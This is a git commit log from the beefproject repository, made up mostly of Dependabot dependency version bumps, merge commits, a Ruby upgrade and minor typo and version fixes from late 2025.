- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.8.0...v2.8.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.8.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-01 15:17:25 +00:00
github-actions[bot]
a10b4489fe Merge pull request #3453 from beefproject/dependabot/bundler/rdoc-6.16.1
Bump rdoc from 6.16.0 to 6.16.1
2025-11-28 13:04:39 +00:00
dependabot[bot]
de344887b6 Bump rdoc from 6.16.0 to 6.16.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.16.0 to 6.16.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.16.0...v6.16.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.16.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-28 13:02:11 +00:00
github-actions[bot]
165cd27495 Merge pull request #3450 from beefproject/dependabot/bundler/rdoc-6.16.0
Bump rdoc from 6.15.1 to 6.16.0
2025-11-26 13:05:05 +00:00
dependabot[bot]
7a4721a0ef Bump rdoc from 6.15.1 to 6.16.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.15.1 to 6.16.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.15.1...v6.16.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.16.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-26 13:02:28 +00:00
github-actions[bot]
a9407f3945 Merge pull request #3448 from beefproject/dependabot/bundler/maxmind-db-1.4.0
Bump maxmind-db from 1.3.2 to 1.4.0
2025-11-21 13:05:11 +00:00
dependabot[bot]
7bd91fcb73 Bump maxmind-db from 1.3.2 to 1.4.0
Bumps [maxmind-db](https://github.com/maxmind/MaxMind-DB-Reader-ruby) from 1.3.2 to 1.4.0.
- [Release notes](https://github.com/maxmind/MaxMind-DB-Reader-ruby/releases)
- [Changelog](https://github.com/maxmind/MaxMind-DB-Reader-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/maxmind/MaxMind-DB-Reader-ruby/compare/v1.3.2...v1.4.0)

---
updated-dependencies:
- dependency-name: maxmind-db
  dependency-version: 1.4.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-21 13:02:19 +00:00
Joshua Young
da9bc652a9 Merge pull request #3445 from joshuay03/upgrade-ruby
Upgrade Ruby to 3.4.7
2025-11-15 13:21:25 +10:00
Joshua Young
4a971df086 Upgrade bundler to latest (2.5.18 -> 2.7.2) 2025-11-13 21:05:20 +05:30
Joshua Young
ebbcfc39e4 Upgrade Ruby to latest (3.2.2 -> 3.4.7) 2025-11-13 21:05:15 +05:30
Joshua Young
4d17e16fdb Fix test gem group indentation 2025-11-13 20:31:44 +05:30
github-actions[bot]
820738f7e0 Merge pull request #3442 from beefproject/dependabot/bundler/activerecord-8.1.1
Bump activerecord from 8.0.4 to 8.1.1
2025-11-12 13:05:08 +00:00
dependabot[bot]
5749cc1e0c Bump activerecord from 8.0.4 to 8.1.1
Bumps [activerecord](https://github.com/rails/rails) from 8.0.4 to 8.1.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.1.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v8.0.4...v8.1.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.1.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-12 13:02:37 +00:00
github-actions[bot]
49bb30aeaa Merge pull request #3441 from beefproject/dependabot/bundler/otr-activerecord-2.6.0
Bump otr-activerecord from 2.5.0 to 2.6.0
2025-11-11 13:05:36 +00:00
dependabot[bot]
5639122928 Bump otr-activerecord from 2.5.0 to 2.6.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.5.0 to 2.6.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.5.0...v2.6.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-version: 2.6.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-11 13:02:53 +00:00
mengxun
64e3f0b424 Fix redundant and incorrect version comparison logic 2025-11-11 16:10:57 +08:00
zinduolis
ac2d6fd9ac Merge pull request #3439 from beefproject/red/dev
Documentation (typo/grammar fixes) — minor text updates across Modules, Extensions, and Core
2025-11-11 07:20:00 +10:00
zinduolis
cc862ae82f Fix typos 2025-11-10 20:39:51 +10:00
zinduolis
582c4d67e3 Merge branch 'master' into red/dev 2025-11-10 20:07:18 +10:00
github-actions[bot]
bbbcd5895f Merge pull request #3437 from beefproject/dependabot/bundler/json-2.16.0
Bump json from 2.15.2 to 2.16.0
2025-11-07 13:05:19 +00:00
dependabot[bot]
1681054dfc Bump json from 2.15.2 to 2.16.0
Bumps [json](https://github.com/ruby/json) from 2.15.2 to 2.16.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.15.2...v2.16.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.16.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-07 13:02:33 +00:00
github-actions[bot]
37a93b7f36 Merge pull request #3435 from beefproject/dependabot/bundler/sqlite3-2.8.0
Bump sqlite3 from 2.7.4 to 2.8.0
2025-11-06 13:06:32 +00:00
dependabot[bot]
d9e12f82d9 Bump sqlite3 from 2.7.4 to 2.8.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.4 to 2.8.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.4...v2.8.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.8.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-06 13:02:33 +00:00
github-actions[bot]
0715e33a4e Merge pull request #3432 from beefproject/dependabot/bundler/rubyzip-3.2.2
Bump rubyzip from 3.2.1 to 3.2.2
2025-11-03 13:51:15 +00:00
dependabot[bot]
1fee3a21d6 Bump rubyzip from 3.2.1 to 3.2.2
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.2.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:48:15 +00:00
github-actions[bot]
3834d4aaa3 Merge pull request #3431 from beefproject/dependabot/bundler/rack-3.2.4
Bump rack from 3.2.3 to 3.2.4
2025-11-03 13:37:16 +00:00
dependabot[bot]
8e64b433bf Bump rack from 3.2.3 to 3.2.4
Bumps [rack](https://github.com/rack/rack) from 3.2.3 to 3.2.4.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.3...v3.2.4)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:34:27 +00:00
github-actions[bot]
30cb1b2d89 Merge pull request #3433 from beefproject/dependabot/bundler/rdoc-6.15.1
Bump rdoc from 6.15.0 to 6.15.1
2025-11-03 13:16:48 +00:00
dependabot[bot]
03689e4b98 Bump rdoc from 6.15.0 to 6.15.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.15.0 to 6.15.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.15.0...v6.15.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.15.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:14:11 +00:00
github-actions[bot]
e7dd57c97f Merge pull request #3430 from beefproject/dependabot/bundler/irb-1.15.3
Bump irb from 1.15.2 to 1.15.3
2025-11-03 13:07:59 +00:00
dependabot[bot]
f2792292b1 Bump irb from 1.15.2 to 1.15.3
Bumps [irb](https://github.com/ruby/irb) from 1.15.2 to 1.15.3.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.15.2...v1.15.3)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.15.3
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:05:22 +00:00
github-actions[bot]
7b30400e4a Merge pull request #3429 from beefproject/dependabot/bundler/rubocop-1.81.7
Bump rubocop from 1.81.6 to 1.81.7
2025-10-31 13:06:17 +00:00
dependabot[bot]
041027ac18 Bump rubocop from 1.81.6 to 1.81.7
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.81.6 to 1.81.7.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.81.6...v1.81.7)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.81.7
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-31 13:02:41 +00:00
github-actions[bot]
c30d1f7c3b Merge pull request #3428 from beefproject/dependabot/bundler/activerecord-8.0.4
Bump activerecord from 8.0.3 to 8.0.4
2025-10-29 13:15:42 +00:00
dependabot[bot]
a578412619 Bump activerecord from 8.0.3 to 8.0.4
Bumps [activerecord](https://github.com/rails/rails) from 8.0.3 to 8.0.4.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.1.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v8.0.3...v8.0.4)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.0.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:13:06 +00:00
github-actions[bot]
0573717aa8 Merge pull request #3425 from beefproject/dependabot/bundler/selenium-webdriver-4.38.0
Bump selenium-webdriver from 4.37.0 to 4.38.0
2025-10-29 13:12:04 +00:00
dependabot[bot]
71f0fbe75e Bump selenium-webdriver from 4.37.0 to 4.38.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.37.0 to 4.38.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.37.0...selenium-4.38.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.38.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:09:38 +00:00
github-actions[bot]
8029f37d44 Merge pull request #3426 from beefproject/dependabot/bundler/rubyzip-3.2.1
Bump rubyzip from 3.2.0 to 3.2.1
2025-10-29 13:08:30 +00:00
dependabot[bot]
3d13e55d97 Bump rubyzip from 3.2.0 to 3.2.1
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.2.0 to 3.2.1.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.2.0...v3.2.1)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.2.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:05:58 +00:00
github-actions[bot]
8d7eedfaaa Merge pull request #3427 from beefproject/dependabot/bundler/rake-13.3.1
Bump rake from 13.3.0 to 13.3.1
2025-10-29 13:04:58 +00:00
dependabot[bot]
29997f7639 Bump rake from 13.3.0 to 13.3.1
Bumps [rake](https://github.com/ruby/rake) from 13.3.0 to 13.3.1.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.3.0...v13.3.1)

---
updated-dependencies:
- dependency-name: rake
  dependency-version: 13.3.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:02:37 +00:00
github-actions[bot]
880ae79e8b Merge pull request #3424 from beefproject/dependabot/bundler/json-2.15.2
Bump json from 2.15.1 to 2.15.2
2025-10-27 14:10:47 +00:00
dependabot[bot]
054efa1571 Bump json from 2.15.1 to 2.15.2
Bumps [json](https://github.com/ruby/json) from 2.15.1 to 2.15.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.15.1...v2.15.2)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.15.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-27 14:07:11 +00:00
zinduolis
6f7a319c2b Merge pull request #3422 from beefproject/red/dev
Bump version to 0.6.0.0
2025-10-24 14:37:47 +10:00
zinduolis
e89ea1922a Fix VERSION file to include copyright disclaimer 2025-10-24 10:40:57 +10:00
zinduolis
0c7c367360 Bump version to 0.6.0.0 2025-10-24 10:10:46 +10:00
github-actions[bot]
e08e4b0948 Merge pull request #3421 from beefproject/dependabot/bundler/rspec-3.13.2
Bump rspec from 3.13.1 to 3.13.2
2025-10-21 13:12:19 +00:00
dependabot[bot]
3b01e3d2b5 Bump rspec from 3.13.1 to 3.13.2
Bumps [rspec](https://github.com/rspec/rspec) from 3.13.1 to 3.13.2.
- [Commits](https://github.com/rspec/rspec/compare/rspec-v3.13.1...rspec-v3.13.2)

---
updated-dependencies:
- dependency-name: rspec
  dependency-version: 3.13.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 13:08:12 +00:00
github-actions[bot]
b3ef4a1ec7 Merge pull request #3420 from beefproject/dependabot/bundler/rubocop-1.81.6
Bump rubocop from 1.81.1 to 1.81.6
2025-10-21 13:07:02 +00:00
dependabot[bot]
417df036bc Bump rubocop from 1.81.1 to 1.81.6
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.81.1 to 1.81.6.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.81.1...v1.81.6)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.81.6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 13:02:49 +00:00
github-actions[bot]
40b985a8fa Merge pull request #3419 from beefproject/dependabot/bundler/selenium-webdriver-4.37.0
Bump selenium-webdriver from 4.35.0 to 4.37.0
2025-10-20 14:18:03 +00:00
dependabot[bot]
2698dc9ec9 Bump selenium-webdriver from 4.35.0 to 4.37.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.35.0 to 4.37.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.35.0...selenium-4.37.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.37.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-20 14:14:24 +00:00
zinduolis
41e52d3738 Merge pull request #3405 from beefproject/dependabot/bundler/activerecord-8.0.3
Bump activerecord from 7.2.2.2 to 8.0.3
2025-10-20 16:02:00 +10:00
dependabot[bot]
cd116a3b46 Bump activerecord from 7.2.2.2 to 8.0.3
Bumps [activerecord](https://github.com/rails/rails) from 7.2.2.2 to 8.0.3.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.0.3/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.2.2.2...v8.0.3)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.0.3
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-20 05:03:43 +00:00
github-actions[bot]
87a5498884 Merge pull request #3404 from beefproject/dependabot/bundler/sqlite3-2.7.4
Bump sqlite3 from 2.7.3 to 2.7.4
2025-10-16 06:14:21 +00:00
dependabot[bot]
51069255bb Bump sqlite3 from 2.7.3 to 2.7.4
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.3 to 2.7.4.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.3...v2.7.4)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-16 06:10:17 +00:00
github-actions[bot]
8fab9a9b4d Merge pull request #3418 from beefproject/dependabot/bundler/rubyzip-3.2.0
Bump rubyzip from 3.1.1 to 3.2.0
2025-10-15 13:08:19 +00:00
dependabot[bot]
6710d71630 Bump rubyzip from 3.1.1 to 3.2.0
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.1.1 to 3.2.0.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.1.1...v3.2.0)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.2.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-15 13:03:51 +00:00
github-actions[bot]
32864da8a3 Merge pull request #3415 from beefproject/dependabot/bundler/rack-protection-4.2.0
Bump rack-protection from 4.1.1 to 4.2.0
2025-10-10 17:52:18 +00:00
dependabot[bot]
027d694819 Bump rack-protection from 4.1.1 to 4.2.0
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 4.1.1 to 4.2.0.
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v4.1.1...v4.2.0)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-version: 4.2.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-10 17:49:58 +00:00
github-actions[bot]
9d00616c1d Merge pull request #3416 from beefproject/dependabot/bundler/rack-3.2.3
Bump rack from 3.2.2 to 3.2.3
2025-10-10 17:48:50 +00:00
dependabot[bot]
2e4560229e Bump rack from 3.2.2 to 3.2.3
Bumps [rack](https://github.com/rack/rack) from 3.2.2 to 3.2.3.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.2...v3.2.3)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.3
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-10 17:46:24 +00:00
github-actions[bot]
dbb0bd6198 Merge pull request #3414 from beefproject/dependabot/npm_and_yarn/jsdoc-4.0.5
Bump jsdoc from 4.0.4 to 4.0.5
2025-10-08 13:05:07 +00:00
dependabot[bot]
edbe00cb82 Bump jsdoc from 4.0.4 to 4.0.5
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 4.0.4 to 4.0.5.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/4.0.5/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/4.0.4...4.0.5)

---
updated-dependencies:
- dependency-name: jsdoc
  dependency-version: 4.0.5
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-08 13:02:23 +00:00
github-actions[bot]
641aa42085 Merge pull request #3410 from beefproject/dependabot/bundler/rdoc-6.15.0
Bump rdoc from 6.14.2 to 6.15.0
2025-10-07 13:17:42 +00:00
dependabot[bot]
fb9fffc0df Bump rdoc from 6.14.2 to 6.15.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.14.2 to 6.15.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.14.2...v6.15.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.15.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:15:14 +00:00
github-actions[bot]
ffdad9b4e6 Merge pull request #3412 from beefproject/dependabot/bundler/rack-3.2.2
Bump rack from 3.2.1 to 3.2.2
2025-10-07 13:14:02 +00:00
dependabot[bot]
484442caa7 Bump rack from 3.2.1 to 3.2.2
Bumps [rack](https://github.com/rack/rack) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:11:27 +00:00
github-actions[bot]
e49feb3571 Merge pull request #3408 from beefproject/dependabot/bundler/rubocop-1.81.1
Bump rubocop from 1.80.2 to 1.81.1
2025-10-07 13:10:05 +00:00
dependabot[bot]
2e2e87073f Bump rubocop from 1.80.2 to 1.81.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.80.2 to 1.81.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.80.2...v1.81.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.81.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:07:40 +00:00
github-actions[bot]
5cc7d6f711 Merge pull request #3413 from beefproject/dependabot/bundler/json-2.15.1
Bump json from 2.15.0 to 2.15.1
2025-10-07 13:06:32 +00:00
dependabot[bot]
9c0657d144 Bump json from 2.15.0 to 2.15.1
Bumps [json](https://github.com/ruby/json) from 2.15.0 to 2.15.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.15.0...v2.15.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.15.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:03:28 +00:00
github-actions[bot]
e6ddb7bc3c Merge pull request #3409 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.1.3
Bump jsdoc-to-markdown from 9.1.2 to 9.1.3
2025-10-06 13:25:58 +00:00
dependabot[bot]
d8818f35d1 Bump jsdoc-to-markdown from 9.1.2 to 9.1.3
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.1.2 to 9.1.3.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.1.2...v9.1.3)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-version: 9.1.3
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-06 13:21:39 +00:00
github-actions[bot]
dffe0601c2 Merge pull request #3407 from beefproject/dependabot/bundler/rubyzip-3.1.1
Bump rubyzip from 3.1.0 to 3.1.1
2025-09-29 17:01:53 +00:00
dependabot[bot]
68773c96d2 Bump rubyzip from 3.1.0 to 3.1.1
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.1.0 to 3.1.1.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.1.0...v3.1.1)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.1.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-29 16:57:48 +00:00
github-actions[bot]
97716f79d3 Merge pull request #3403 from beefproject/dependabot/bundler/json-2.15.0
Bump json from 2.14.1 to 2.15.0
2025-09-22 13:05:33 +00:00
dependabot[bot]
f567cebdc2 Bump json from 2.14.1 to 2.15.0
Bumps [json](https://github.com/ruby/json) from 2.14.1 to 2.15.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.14.1...v2.15.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.15.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-22 13:03:06 +00:00
github-actions[bot]
4bb9a9c9c6 Merge pull request #3402 from beefproject/dependabot/bundler/curb-1.2.2
Bump curb from 1.2.1 to 1.2.2
2025-09-19 13:12:17 +00:00
dependabot[bot]
4d2058f61e Bump curb from 1.2.1 to 1.2.2
Bumps [curb](https://github.com/taf2/curb) from 1.2.1 to 1.2.2.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.2.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-19 13:06:21 +00:00
github-actions[bot]
b19584289c Merge pull request #3401 from beefproject/dependabot/bundler/json-2.14.1
Bump json from 2.13.2 to 2.14.1
2025-09-19 13:05:17 +00:00
dependabot[bot]
acd95ce92e Bump json from 2.13.2 to 2.14.1
Bumps [json](https://github.com/ruby/json) from 2.13.2 to 2.14.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.13.2...v2.14.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.14.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-19 13:02:39 +00:00
github-actions[bot]
ecb5c8ba1a Merge pull request #3399 from beefproject/dependabot/bundler/curb-1.2.1
Bump curb from 1.2.0 to 1.2.1
2025-09-18 13:05:24 +00:00
dependabot[bot]
6ad995de6c Bump curb from 1.2.0 to 1.2.1
Bumps [curb](https://github.com/taf2/curb) from 1.2.0 to 1.2.1.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.2.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-18 13:02:55 +00:00
github-actions[bot]
25da2db215 Merge pull request #3394 from beefproject/dependabot/bundler/term-ansicolor-1.11.3
Bump term-ansicolor from 1.11.2 to 1.11.3
2025-09-11 13:07:01 +00:00
dependabot[bot]
80ae0cc2bf Bump term-ansicolor from 1.11.2 to 1.11.3
Bumps [term-ansicolor](https://github.com/flori/term-ansicolor) from 1.11.2 to 1.11.3.
- [Release notes](https://github.com/flori/term-ansicolor/releases)
- [Changelog](https://github.com/flori/term-ansicolor/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/term-ansicolor/compare/v1.11.2...v1.11.3)

---
updated-dependencies:
- dependency-name: term-ansicolor
  dependency-version: 1.11.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
